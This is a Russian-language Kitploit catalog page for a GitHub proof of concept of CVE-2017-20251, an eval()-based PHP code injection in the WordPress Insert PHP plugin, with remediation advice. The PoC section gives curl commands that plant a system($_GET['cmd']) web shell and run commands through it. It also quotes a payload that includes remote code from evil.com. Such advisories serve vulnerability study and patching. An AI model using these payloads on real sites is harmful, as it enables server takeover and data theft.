Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
By-Poloss..-..CVE-2017-20251 — Insert PHP Plugin PHP Code Injection | Kitploit
Инструменты/GitHubGitHub/polosss/by-poloss..-..cve-2017-20251
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubpolosss/by-poloss..-..cve-2017-20251

By-Poloss..-..CVE-2017-20251

Insert PHP Plugin PHP Code Injection

Репозиторий
13 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-20251: Внедрение PHP-кода в плагин Insert PHP

Название уязвимости

Неаутентифицированное внедрение PHP-кода через обработку шорткодов в плагине Insert PHP

Основная информация

ПолеЗначение
CVE IDCVE-2017-20251
ПлагинInsert PHP (ныне Woody Code Snippets)
Затронутые версии< 3.3.1 (протестировано на 1.3)
CWECWE-94 (Внедрение кода)
CVSS v3.19.8 (Критическая)
Вектор CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
РаскрытиеПубличное (Exploit-DB 41308)

Описание

Плагин Insert PHP до версии 3.3.1 позволяет удалённым злоумышленникам выполнять произвольный PHP-код через уязвимость внедрения шорткода. Плагин регистрирует шорткод [insert_php]...[/insert_php], который напрямую вычисляет содержимое внутри тегов шорткода с помощью функции PHP eval() без какой-либо санитизации или проверки.

Злоумышленник, имеющий возможность создавать или редактировать записи (через REST API, XML-RPC или с доступом контрибьютора/администратора), может внедрить произвольный PHP-код на любую страницу или запись, отображающую их содержимое, что приводит к полному удалённому выполнению кода на веб-сервере.

Технический анализ

Первопричина

Уязвимость существует в функции will_bontrager_insert_php(), зарегистрированной как фильтр the_content:

root@kitploit:~
// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- УЯЗВИМО
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

Ключевые проблемы:

  1. Содержимое шорткода передаётся напрямую в eval() без какой-либо санитизации
  2. Не выполняется проверка аутентификации или прав доступа
  3. Отсутствует проверка того, что содержимое получено из легитимной записи сниппета
  4. Фильтр выполняется с приоритетом 9, обрабатывая содержимое до других фильтров WordPress

Вектор атаки

  1. Начальный доступ: Злоумышленник создаёт или редактирует запись с вредоносным содержимым, содержащим шорткод [insert_php]
  2. Доставка: Шорткод сохраняется в базе данных WordPress как содержимое записи
  3. Выполнение: Когда любой пользователь просматривает страницу, WordPress запускает фильтры the_content
  4. Воздействие: Функция eval() выполняет произвольный PHP-код на сервере

Условия эксплуатации

  • Сайт WordPress с установленным и активированным плагином Insert PHP версии < 3.3.1
  • Злоумышленник должен иметь возможность создавать или редактировать записи (роль контрибьютора или выше)
  • В WordPress < 4.7 REST API позволял создание записей без аутентификации (что делало возможным полное неаутентифицированное RCE)
  • В WordPress >= 4.7 для создания записей через REST API требуется аутентификация

Воздействие

Серьёзность: Критическая

Полное удалённое выполнение кода (RCE) на веб-сервере:

  • Выполнение произвольного PHP-кода на сервере
  • Чтение/запись любых файлов, доступных пользователю веб-сервера
  • Доступ к учётным данным базы данных из wp-config.php
  • Установка веб-шеллов или бэкдоров
  • Переход к другим системам
  • Полная компрометация конфиденциальности, целостности и доступности

PoC - Команды Curl

Шаг 1: Создание записи с вредоносным шорткодом (аутентифицированный доступ)

root@kitploit:~
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

Шаг 2: Посещение записи для запуска выполнения кода

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

Шаг 3: Проверка выполнения кода

root@kitploit:~
curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

Альтернатива: Простой тест eval() (простое подтверждение)

root@kitploit:~
# Create post
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# Trigger
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# Verify
cat /var/www/html/rce_poc.txt  # Should output: RCE-SUCCESS

Ссылка Exploit-DB (без аутентификации, WP < 4.7)

Для старых версий WordPress, где REST API позволял создание записей без аутентификации:

root@kitploit:~
curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

Пример ответа

Когда уязвимый шорткод обрабатывается, PHP-код внутри выполняется с помощью eval(). Для теста с маркерным файлом:

root@kitploit:~
Запрос: Создать запись с [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
Ответ: Запись успешно создана

Запрос: GET /?p=POST_ID
Ответ: Страница отображается, PHP-код выполняется, на сервере создаётся marker.txt

Проверка:
$ cat /var/www/html/marker.txt
SUCCESS

Рекомендуемые меры устранения

  1. Немедленно: Удалите плагин Insert PHP или обновитесь до версии 3.3.1 или новее
  2. Альтернативный плагин: Используйте современный плагин для сниппетов кода, например WPCode, который использует безопасные контексты выполнения
  3. Если необходимо использовать PHP-сниппеты: Убедитесь, что только доверенные администраторы могут создавать/редактировать записи, и рассмотрите возможность отключения REST API для не-администраторов
  4. Укрепление защиты: Установите константу DISALLOW_UNFILTERED_HTML (хотя это не полностью устраняет проблему)

Анализ исправления

Исправленная версия (3.3.1+):

  • Переименовала шорткод с [insert_php] на [wbcr_php_snippet]
  • Убрала прямое использование eval() в пользу безопасного контекста выполнения
  • Добавила проверки аутентификации на конечных точках REST API
  • Внедрила проверку ID сниппета перед выполнением

Ссылки

  • Exploit-DB 41308
  • NVD CVE-2017-20251
  • Страница плагина WordPress
  • CWE-94: Внедрение кода
Скачать инструмент